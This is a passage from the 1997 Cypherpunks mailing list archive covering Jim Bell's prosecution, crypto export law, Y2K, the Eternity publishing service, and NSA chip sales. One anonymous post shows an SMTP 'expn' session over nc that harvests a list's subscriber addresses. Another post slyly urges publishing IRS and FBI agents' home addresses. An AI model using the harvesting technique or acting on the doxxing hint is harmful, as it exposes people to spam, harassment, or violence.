  I hope that Jim's lawyer is suitably rewarded for his part in selling
Jim down the river.

>   "IRS Inspectors indicated that the mercaptan attack may have been linked
> to the Feb. 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

  In effect, they are saying that since they didn't have any evidence
against Jim for the crime that they wanted him to "pay" for, that they
used the threat of major criminal charges to convince him to "confess"
to the crime, and held him without bail to let him know that the Justice
system is under the control of the IRS, and not the defendant.

>   "As part of the plea agreement, BELL also admitted that he used several
> different social security numbers in order to hide assets from the IRS ...
> to prevent the IRS from levying his wages.  ...
> 
>   "BELL faces a maximum sentence of three years in prison and a $250,000
> fine for the obstruction charge, and five years and a $250,000 fine for
> using a phony Social Security number."
> 
>   It appears Bell was held without bond until he signed.

  Probably more effective than beating him with a rubber hose.
 
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The web
> site for the Suprynowicz column is at http://www.nguworld.com/vindex/. The
> column is syndicated in the United States and Canada via Mountain Media
> Syndications, P.O. Box 4422, Las Vegas Nev. 89127.
> 
> ***
> 
> Vin Suprynowicz,   vin@lvrj.com
> 
> Voir Dire: A French term which means "jury stacking."

Vin,
  Did you know that the IRS used the information gleaned from Jim Bell's
hard drive to send the "chilling" details of Jim Bell's plea agreement
to the individuals and mailing lists he corresponded with?
  Did you know that when he arrested, there were no Assassination Bot's
in existence, and that there are now at least six prototypes currently
in operation?

  God Bless AmeriKa.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:42:21 +0800
To: cypherpunks@toad.com
Subject: Guns, Roses & Tobacco
Message-ID: <199707290722.JAA09290@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  Meantime, taking their cue from the Tobacco Nazis, the city of
Philadelphia is trying to figure out how to sue gun manufacturers for
their
crime rate -- 414 homicides last year, according to conservative
gabmeister
Rush Limbaugh. "Expect the arguments to focus on how unsafe guns are,
the
lack of warning labels, the lack of formal training programs, etc." ...
rather than simply improve public safety by legalizing concealed
"Vermont
carry."

  The notion that gun manufacturers can be sued for manufacturing a
faulty
product is somewhat bizarre, of course, if the product (rather than
blowing
up in the user's hand, say) did precisely what it was intended to do.

  If America's socialist mayors and city councils are going to play this
brand of roulette, at least the odds should be evened. Why don't the
firearms manufacturers go ahead and offer to pay the municipalities,
say,
$500,000 for every innocent citizen killed by one of their products
(except
by the government's own police, of course) ... if the municipalities, in
turn, will pay them $500,000 every time one of their weapons is used (by
either police or commoner) to kill, wound, or drive away an intended
rapist, robber, burglar or murderer ... or tax collector or other
government agent acting in excess of his or her constitutionally
delegated
powers -- the main purpose for which the founders wanted to guarantee we
had such instruments of liberty, in the first place.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com.

***


Vin Suprynowicz,   vin@lvrj.com

Voir Dire: A French term which means "jury stacking."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 29 Jul 1997 22:03:35 +0800
To: dmac@bway.net
Subject: Re: New Crypto Application
In-Reply-To: <33DDE125.7DE1@bway.net>
Message-ID: <199707291350.JAA03303@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



David Macfarlane writes:

> My memory is a bit foggy on this one, but didn't the gov't ask 
> Netscape (and others?) to stop producing programs with the hooks
> for strong encryption in them, in spite of the fact that they 
> did _not_ provide that strong encryption?

The story was that NSA had asked the NCSA folks to remove the
PEM/PGP hooks in their web server source.  See, for example,
    http://consult.ncsa.uiuc.edu/docs/httpd/Upgrade.html


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 30 Jul 1997 01:24:49 +0800
To: cypherpunks@toad.com
Subject: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News
Message-ID: <Pine.GSO.3.95.970729100418.25915E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 29 Jul 1997 10:03:46 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News


-----

http://pathfinder.com/netly/opinion/0,1042,1222,00.html

The Netly News (http://netlynews.com/)
July 29, 1997

This Boy-Lover's Life
by Declan McCullagh (declan@well.com)
   
        Anne Cox is nothing if not determined. For months the
   Net-vigilante has been unwavering in her crusade against pedophiles,
   undaunted by insults, threats and even the "horrible things" done to
   pictures of her as a baby that she had digitized and placed online.
   She fought back with just about every possible tactic: argument,
   public humiliation and sometimes-spurious threats of legal action.
   
        Now, the war is escalating.
   
        It started in May, after Cox launched an assault on "boy-lover"
   web sites in an attempt to force them offline. But she and her allies
   ran into a serious obstacle: the sites aren't illegal. They're filled
   not with child pornography -- which is banned by federal law -- but,
   instead, photos of boys in swimsuits. "They shouldn't be doing these
   things with the children's pictures," Cox says.

[...]

        Some argue that Cox and her allies have gone too far. Besides
   boy-pix sites, this team of Net-vigilantes has attacked a group of gay
   teens organizing "to fight against" discrimination. They've tried to
   take down a consensual spanking page for gay adults, and even an
   archive of sexually-explicit stories that specifically rejects tales
   about pedophilia. Then there's the murky Children's Protection and
   Advocacy Coalition, which Cox claims to run -- yet she refuses to name
   its member organizations.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 30 Jul 1997 01:35:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: y2k problem *serious*
In-Reply-To: <199707290640.IAA04623@basement.replay.com>
Message-ID: <Pine.LNX.3.95.970729101319.23999A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Anonymous wrote:

>   There is an underground computer organization in place which is
> actively working toward sabotaging government and corporate efforts
> to resolve the Year 2000 problems. They began coordinating their
> efforts in 1990, almost a decade before the powers-that-be will
> finally get around to recognizing the need to definitively move
> on the matter in a major way.
>   In essence, the goals of the organization have been to promote
> the most unwieldy, unworkable and inefficient solutions possible
> to the Year 2000 programming problems which exist on various
> platforms. It was forseen that the problem would be a weak point
> in the New Electronic World Order that could be effectively used
> to inject chaos and diversion into the plans of the secret world
> governments to turn the Internet into a tool of government and
> corporate fascism.

This sounds like the ISO-9000 "quality" pogroms.  (Using corporate fascism
to destroy corporate fascism, one manager at a time.)

Need to find another picture of Steven R. Covey for the blowgun range...

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 30 Jul 1997 01:41:47 +0800
To: cypherpunks@toad.com
Subject: Majority in house support SAFE encryption bill, from SPAlert
Message-ID: <Pine.GSO.3.95.970729102007.25915J-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 29 Jul 1997 10:19:36 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Majority in house support SAFE encryption bill, from SPAlert

[From an alert put out by the Software Publishers Association. (I skipped
the press conference.) --Declan]


---------- Forwarded message ----------

Encryption
---------------
MAJORITY IN HOUSE SUPPORT PASSAGE OF ENCRYPTION BILL
Rep. Bob Goodlate (R-Va.) and Rep. Zoe Lofgren (D-Calif.) will hold a press
conference in room HC7 in the U.S. Capitol today to announce that a
majority in the House of Representatives have signed on as co-sponsors of
H.R. 695, the Security and Freedom through Encryption (SAFE) Act.  SPA
today called on the Clinton administration to immediately cease its
opposition to the SAFE Act, which allows the free export of encryption
products while providing American businesses with the tools needed to
protect corporate data.

"Forty years ago, John F. Kennedy wrote 'Profiles In Courage' on political
leaders with the moral and political courage to resist the easy path and,
instead, make difficult choices in the national interest.  Today, members
of the House passed this test of courage with flying colors," said Ken
Wasch, SPA president.  "On the other side of Capitol Hill, however, the
ghost of J. Edgar Hoover lurks in the cloakrooms of the Senate.  Rather
than taking a courageous stand for America, some Senators would rather
follow the administration's play book, trading personal freedoms for what
they themselves admit is only marginal improvement."

"House members have clearly studied the issue and recognize that burdening
high-tech industries with oppressive regulation and restrictive export
controls will only harm America and law enforcement in the long run.  Law
enforcement concerns cannot be addressed by mandating technology but by
adopting policies ensuring technical progress and innovation occurs in the
United States."

The SAFE Act now proceeds to the Commerce, Intelligence, and National
Security Committees, all of which have until September to vote on the
legislation.

For full text of the release, visit
http://www.spa.org/gvmnt/releases/hmajority.htm.

For access to Rep. Goodlatte's Web page regarding the SAFE Act, visit
http://www.house.gov/goodlatte/encryption.htm.

For full text of SPA's statement following the SAFE Act's passage by the
House Committee on International Relations, visit
http://www.spa.org/gvmnt/releases/encryptpr.htm.

For further information, contact Lauren Hall at (202) 452-1600, ext. 313,
or lhall@spa.org.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 29 Jul 1997 22:56:14 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: y2k problem *serious*
In-Reply-To: <199707290054.RAA21755@netcom13.netcom.com>
Message-ID: <Pine.SUN.3.96.970729103454.11487B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 28 Jul 1997, Vladimir Z. Nuri wrote:

> some people have talked about the y2k problem here, the 
> "year 2000 problem". as programmers know, is the
> name given to the glitches that are caused by software
> malfunctioning because it only used 2 characters for the
> date field. I have mentioned that I think government
> agencies are going to be particularly hard-hit by this 
> situation. I envisioned delays in payments etc. of something like
> a few weeks or so.

Talk about giving them more credit than is due.  This is government you're
talking about.  Try 6 months to several years. :)  And don't forget about
the year 2038 problem (Unix rolls over dates on that date for 32 bit
systems...) Also, the year 2000 isn't a leap year, but most
PC's will think it is.
 
IMHO, come October 1999, take all your savings in the form of a cashier's
check and wait until Jan 2nd to redeposit it.  Good luck with credit
cards.  You might want to clear them off first..  And if you've got
mortgages, good luck if you don't wipe them off by then!

One easy fix to the problem (if the software supports it) is to convert
the two digit years (if they're stored as characters) into a 16 bit
unsigned integer.  That would be good until the year 65535, and still let
you use 1802 as a year.  But some warez use a single byte - which isn't
easy to extend...  Some RDBMS and DB's won't let you do this easily.  Life
sucks when corporations use code over the time it was meant for (like 
DES for instance) what can we say. :)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 29 Jul 1997 18:25:49 +0800
To: enoch@zipcon.net
Subject: Re: Eternity (was Re: CPAC, XtatiX, and the Censor-State)
In-Reply-To: <19970729014252.9662.qmail@zipcon.net>
Message-ID: <199707291007.LAA00721@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mike Duvos <enoch@zipcon.net> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> 
>  > You two must've been snoozing when I posted the Eternity
>  > service announce back in April.  I implemented something
>  > which does pretty much exactly what you're discussing.  I'll
>  > include a repost below.
> 
> I skimmed it.  "Eternity" makes me think of caskets and people in
> dark suits with expensive prices. :)

I "borrowed" the name from Ross Anderson I think it comes from
something called an eternity machine.  Perhaps a more descriptive name
would help?  USEWEB?  ALT web?  
(Have URLs of the form http://[host].alt/)

>  > So beyond implementing it, which I've done a first cut of,
>  > the next problem is getting people to use it, to advertise
>  > it so that people know it exists, to get people to put lots
>  > of "interesting" (= otherwise censored, so possibly pretty
>  > interesting) materials on it, so that people find it
>  > interesting to browse documents on it.
> 
> Hmmm.  I would certainly not want to be the only person running a
> server when the "interesting" materials got posted.

Yes, running an eternity server is going to have similar if not worse
operator harrassment problems than running remailers.  I've been
subscribed to remop <remailer-operators@anon.lcs.mit.edu> for a while
now, and remailer operators take no end of flak.

Once it gets going perhaps people can use their own personal eternity
server, a server for their own use only.  That at least directs
criticism to USENET admins, news archiving search engines, and
remailer operators (the exit remailers on the actual posts).

I'm confident that USENET can take the strain.  The average of
newsadmins doesn't honor cancels, and won't be bothered, or will be
hostile to the notion of canceling articles on the request of kooky
censors.  Search engines might be persuaded to delete posts from their
archives in the extreme.  I understand that the poster can request
posts removed from altavista.  Perhaps with enough harrassment
altavista might be coerced into removing other peoples posts.

The obfuscation of encrypting with pgp -c and password "eternity"
should help in that the documents are not directly readable.  At least
one of the search engines does not archive uuencoded posts.  It does
archive PGP radix-64 encoded posts.  Perhaps that would change if
censors created enough of a nuisance of themselves.

If they do stop archiving radix-64 we can switch to texto (crude text
stego app, which is kicking around the net somewhere).

> I'll see if I can get it to work.  Perhaps I can be Jim Bell's
> cellmate if things don't work out.  :)

Just view it as a temporary, disposable service.  When the heat gets
turned up to the stage where you receive bonafide legal letters,
disable it, and let someone else start some servers.  All the
documents will survive, as they live in USENET spools, and in search
engines USENET archives.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 30 Jul 1997 02:46:45 +0800
To: cypherpunks@Algebra.COM
Subject: Crypto Hooks
In-Reply-To: <3.0.2.32.19970728081025.00772920@popd.ix.netcom.com>
Message-ID: <v0310280bb003e90f25d0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:23 AM -0700 7/29/97, Craig Strickland wrote:

>This triggered a thought that may have already been discussed, but I thought
>I'd throw it out anyway.  Since the export of cryptography = munitions, what
>happens if I write an application that's the "shell", and contract with a
>national and resident of a foreign country to write the crypto module.  I do
>not export the crypto technology other than sending them a printed book
>(which Phil Karn's filing determined was exportable as a non-munition).
>
>I then retail the software as a 2-component system (distantly like PGP 2.6.3i
>could have been) on the web.  FTP the "shell" from my domestic site, and FTP
>the "crypto" from the foreign site.  Both install to make the seamless
>finished product.
>
>Anyone seen anything in ITAR addressing such a hiring arrangement?


This is called "providing crypto hooks," at least in the many threads on
this list and on Usenet where the details of this have been discussed.

It is generally interpreted--but there has not yet been a good court case
to test it, that I know of--that providing a "hook" or place to drop in
crypto is a violation of the ITARs/replacements for the ITARs.

Ditto for exporting expertise designed to circumvent the ITARs. Thus,
RSADSI cannot tell Rivest and the others to go take a 6-month in Monte
Carlo or Switzerland and develop the next generation there.

Again, this interpretation has not gotten a clear test in the courts.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 30 Jul 1997 03:28:31 +0800
To: cypherpunks@cyberpass.net
Subject: Declan Does Boylove
In-Reply-To: <Pine.GSO.3.95.970729100418.25915E-100000@well.com>
Message-ID: <19970729191728.25870.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan writes:

[snip]

Very nice article. 

>    "They shouldn't be doing these things with the children's pictures,"
>     Cox says.

Cough.  One wonders why these nuts spend so much of their time worrying
about what they imagine others to be aroused by, and why they embrace the
doctrine of "vicarious long-distance molestation" whenever they think an
otherwise ordinary photograph has been the victim of some random
stranger's impure thoughts. 

Such nonsense is central to the doctrine of radical feminists like Andrea
Dworkin, of the "Playboy is rape" mentality.  I've never had a clue as to
why such individuals aren't laughed out of the auditorium immediately. 

Anyone want to wager whether http://netlynews.com/ is the newest addition
to the other 82k of URLs on Paladino's now-famous "Sewer Site"? :) 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Wed, 30 Jul 1997 00:37:12 +0800
To: sunder@brainlink.com
Subject: NOISE: Leap years (was Re: y2k problem *serious*)
In-Reply-To: <Pine.SUN.3.96.970729103454.11487B-100000@beast.brainlink.com>
Message-ID: <199707291622.MAA03401@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian writes:

>             Also, the year 2000 isn't a leap year, but most
> PC's will think it is.

This is wrong.  2000 *is* a leap year.

A leap year is a year that is evenly divisible by four but not by
100 unless also divisible by 400.

For example, 1900, 2100 and 2200 aren't leap years, but 1600, 2000,
and 2400 are.

In C coder lingo:

Boolean
IsLeapYear(long year)
{
    if ((year % 4) == 0) {
	if ((year % 100) == 0) {
	    if ((year % 400) == 0)
		return True;
	    return False;
	}
	return True;
    }
    return False;
}


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 30 Jul 1997 04:17:48 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Declan Does Boylove
In-Reply-To: <19970729191728.25870.qmail@zipcon.net>
Message-ID: <Pine.LNX.3.95.970729125238.28389A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Mike Duvos wrote:

> Declan writes:
> 
> [snip]
> 
> Very nice article. 
> 
> >    "They shouldn't be doing these things with the children's pictures,"
> >     Cox says.
> 
> Cough.  One wonders why these nuts spend so much of their time worrying
> about what they imagine others to be aroused by, and why they embrace the
> doctrine of "vicarious long-distance molestation" whenever they think an
> otherwise ordinary photograph has been the victim of some random
> stranger's impure thoughts. 

Don't you know that taking someones picture captures a part of their soul
and that if you concentrate hard enough you can actually cause them harm?

It is because these people are superstitious.  They believe in magic.
They believe that thoughts and actions are equivelent and should be
punished as such.  They also get a vicarious thril out of being able to
"stop Evil" and "punish the Wrong-Doers".  (It is the same set of thrills
that make people become congress-critters.)  It is a way of making
themselves feel worthwhile and an upholder of virtue.  When you examine
the actions and motives of "moralists" and other sorts of do-gooders, you
find that in most cases, they are pretty disfunctional beings in real
life.

> Such nonsense is central to the doctrine of radical feminists like Andrea
> Dworkin, of the "Playboy is rape" mentality.  I've never had a clue as to
> why such individuals aren't laughed out of the auditorium immediately. 

Because sometimes people want to think of themselves as being a victim.
Andrea and the rest of the Dwarks are feeding them a line that they want
to believe.  It is so much easier to deal with your problems when you are
told that they are caused by someone else.  That it is the "patriarchal
society" that is keeping them down.  That those "nasty men" are the cause
of their problems.  (What is really distressing about the Dwarkin variety
of feminist is that they reduce the options for women.  They replace a
percieved patriarchy with a matriarchy that is even more controlling and
strict.)

Most of the audiences at a Dwarkin speach are "true believers" already.
What bothers me more is when the media actually takes these people
seriously and not as the sexually screwed up people they are.  

If you want to see how far gone these people are, I suggest going to a
Dwarkin speech.  The women are pretty frightening, but the men who show up
are even more far gone.  (It works better if you are picketing the speech.
You get all the loons!  (I have some interesting stories about the two
held in Portland.))

> Anyone want to wager whether http://netlynews.com/ is the newest addition
> to the other 82k of URLs on Paladino's now-famous "Sewer Site"? :) 

The "Sewer Site" sounds like something to add to all of those "where
to find good porn sites" links pages.  I wonder how many people go there
looking for good porn?

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harry Tuttle Remailer <h_tuttle@rigel.cyberpass.net>
Date: Wed, 30 Jul 1997 04:32:30 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707292014.NAA22371@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



someone wrote:
>>A. It's unsolicited spam.
Not a big deal.
>>B. The way they gathered the list of addresses is questionable, 
>>    and likely off Jim's HD.  

Its pretty straightforward for interested perties to get a list of everyone
on a mojordomo mailinglist even if the who command is disabled as long as
we have our old friend sendmail and his trusty sidekick expn.

nc toad.com 25

220 toad.com ESMTP Sendmail 8.7.5/8.7.3;
 Tue, 29 Jul 1997 12:59:12 -0700 (PDT)
expn cypherpunks
250-<"|/u/majordom/bin/wrapper resend -p bulk  -l cypherpunks -f
owner-cypherpunks-unedited -h toad.com -s 
cypherpunks-unedited-outgoing"@toad.com>
250 </gnu/mail/cypherpunks-in@toad.com>
expn cypherpunks-unedited-outgoing
250-<jxx@pipeline.com>
250-<sxxxxx@slecrs2.sbc.com>
250-<sxxxxx0@laf.cioe.com>
250-<wmxxx@direct.ca>
250-<toxx@sk.sympatico.ca>
250-<zacxx@netcom.com>
250-<waxx@mls1.HAC.COM>
250-<dm+cypherpunks-unedited@amsterdam.lcs.mit.edu>
250-<paxxx@fatmans.demon.co.uk>

------ more addresses cut ----------

I have xed out the names but you get the picture. no need to go through the
effort of watching a list for posts or searching through someone's old mail.

If you have any complaints email:

expn owner-cypherpunks-unedited
250 Cypherpunks Admin <cpadmin@toad.com>    






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Wed, 30 Jul 1997 05:14:17 +0800
To: cypherpunks@Algebra.COM
Subject: National Security Agency markets commercial ASICs
Message-ID: <33DE5CF2.2424@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://techweb.cmp.com/eet/news/97/965news/national.html

National Security Agency markets commercial ASICs
By Loring Wirbel

SNOWMASS, Colo. -- On a scale unprecedented for a government
intelligence arm, the National Security Agency (NSA) is expanding its
selling of
ASICs and design services, even offering commercial semiconductor
designs for selected space-based and terrestrial applications. 

Terry Brown, NSA deputy chief of microelectronics, said the customer
list will still be so specialized that the agency won't compete directly
against
developers of military ASICs and rad-hard devices. "Any customer of ours
would still require a government sponsor at some level," he said. 

Nevertheless, at an IEEE conference held recently, representatives of
Harris Semiconductor and UTMC Microelectronic Systems wondered how and
why a secret government agency would compete against them. 

One representative of a commercial IC house, who asked not to be
identified, said, "Whenever the government thinks it can sell products
to OEMs, it
inherently raises some problems." 

The commercial efforts involve NSA's 6-inch CMOS fab, run by National
Semiconductor Corp., at NSA headquarters in Fort Meade, Md., and a
Microelectronics Research Lab run by NSA at an undisclosed Maryland
location. The agency has developed special ASICs for selected customers
ever since National helped open the fab in the late 1980s. Some, such as
the Mykotronx division of Rainbow Technologies Inc., were partners in
crypto chips, while others sought NSA expertise in radiation-hardness
for space applications. 

Looking to expand that customer base, the agency has named Leland Miller
its first director of marketing for microelectronics. At the IEEE
Nuclear
and Space Radiation Effects Conference, NSA had a large trade booth
advertising the capabilities of "NSA Microelectronics." 

Brown said NSA has special talent in data-path design, used in signal
and image processing but ignored by many ASIC vendors. 

NSA's fab has a library of more than 100 standard cells, optimized for
CMOS feature sizes from 0.5 to 1.2 microns. The fab handles double- and
triple-metal designs and is just beginning to add non-volatile EPROM and
E2PROM cell capabilities.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: EFF <eff@dev.null>
Date: Wed, 30 Jul 1997 04:47:00 +0800
To: cypherpunks@toad.com
Subject: Re: Libertarians for whom Jim Bell tolls...
Message-ID: <199707292018.OAA12857@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-------Fwd: Private Email (Identities XY'ed)-------
Subject: Re: Libertarians for whom Jim Bell tolls...
   Date: Tue, 29 Jul 1997 11:32:11 -0800
   From: XXXXXXXX 
     To: YYYYYYYY

>>   "In the plea agreement, BELL also admitted that on March 16, 1997, he
>> conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
>> Washington, using the noxious chemical mercaptan. ...

>  This is interesting, since they had no evidence that he did so.
>However, they managed to get him to "confess" by illegally holding
>without bond for crimes which they never intended to charge him with
>in the first place.
>  I hope that Jim's lawyer is suitably rewarded for his part in selling
>Jim down the river.

Nancy Lord has had a lot of success in cases like this, and was
interested
in helping Bell's public defender file briefs challenging a lot of the
IRS'
charges and behavior, on First Amendment grounds. She tells me the
public
defender never even returned her calls.

>>   "IRS Inspectors indicated that the mercaptan attack may have been linked
>> to the Feb. 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

>  In effect, they are saying that since they didn't have any evidence
>against Jim for the crime that they wanted him to "pay" for, that they
>used the threat of major criminal charges to convince him to "confess"
>to the crime, and held him without bail to let him know that the Justice
>system is under the control of the IRS, and not the defendant.

More or less. The big fuss, and the reason for holding without bail, was
supposedly that his web postings constituted evidence he was planning to
assassinate IRS agents. Yet, curiously,  he was never charged with
anything
like "conspiracy to solicit murder." Instead, people go to jail for
years
for the equivalent of pouring skunk urine on someone's welcome mat, and
for
"using false SS numbers."

Funny, I thought the folks who gave us SS numbers swore they'd always be
confidential between us and our SS retirement fund manager, and would
"never be used as a national ID number." Since I'm sure the SocSec
Administration would never confirm or deny for the IRS Mr. Bell's REAL
SS
number, I wonder who they knew which ones were bogus?

Are we to believe SocSec has never made a mistake, and issued one person
two numbers?

Anyway, was Mr. Bell accused of using the bogus numbers to fraudulently
extort wrongful benefits from the SocSec Administration? Apparently not.
So. since money will be withheld from your paycheck no matter WHAT SS
number you file, the only possible "fraud" can have been to work
different
jobs under different numbers -- with no chance of ever collecting any
"benefits" from the "bogus" accounts. An odd kind of "fraud," that pays
money to the government with no hope of ever getting any back.

>Vin,
>  Did you know that the IRS used the information gleaned from Jim Bell's
>hard drive to send the "chilling" details of Jim Bell's plea agreement
>to the individuals and mailing lists he corresponded with?
>  Did you know that when he arrested, there were no Assassination Bot's
>in existence, and that there are now at least six prototypes currently
>in operation?
>
>  God Bless AmeriKa.
>
>XXYYZZMonger

Hi --

It would probably be considered (by overzealous pro-government
extremists)
a violation of some bogus new enactment if I proposed that it would be a
good idea for someone to widely and publicly post the names and home
addresses of every employee of the IRS ... and possible the FBI, DEA,
and
ATF, to boot (after all, those people have no problem accessing the
intimate details of OUR personal lives, on a moment's notice. We all
live
in more or less constant fear of THEIR midnight knock on the door.) So I
won't suggest that.  I don't suggest that. I hope no one ever does that.
And if anyone ever does, I CERTAINLY hope such lists are not widely
downloaded and disseminated.

X.Y.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 30 Jul 1997 02:33:48 +0800
To: Tim May <tcmay@got.net>
Subject: Re: New Crypto Application
In-Reply-To: <v03102808b0034d458be0@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970729141949.11487J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Tim May wrote:

> What's a "FAQ"?
> 
> I think I'll just go ahead and challenge people to break my
> SuperWhammomatic, CryptoPadalyzer. (I spent more time coming up with the
> name than I did working on the algorithm, so I hope you all like it.)
> 
> 
> 
> --Tim "the Newbie"

Aw shux Tim, ROT13's been broken since the days of Caesar, and there's
enough implementations of it already... :)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 30 Jul 1997 02:38:47 +0800
To: cypherpunks@toad.com
Subject: Re: y2k problem *serious*
In-Reply-To: <199707290640.IAA04623@basement.replay.com>
Message-ID: <Pine.SUN.3.96.970729142348.11487K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Anonymous wrote:

>   There is an underground computer organization in place which is
> actively working toward sabotaging government and corporate efforts
> to resolve the Year 2000 problems. They began coordinating their
> efforts in 1990, almost a decade before the powers-that-be will
> finally get around to recognizing the need to definitively move
> on the matter in a major way.

Ah, so "Toto" is still with us (if only shadowed by the cloak work by the 
lurker...)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <editor@cdt.org>
Date: Wed, 30 Jul 1997 02:59:55 +0800
To: cypherpunks@toad.com
Subject: ALERT: Show Your Support for Privacy on the Net During August
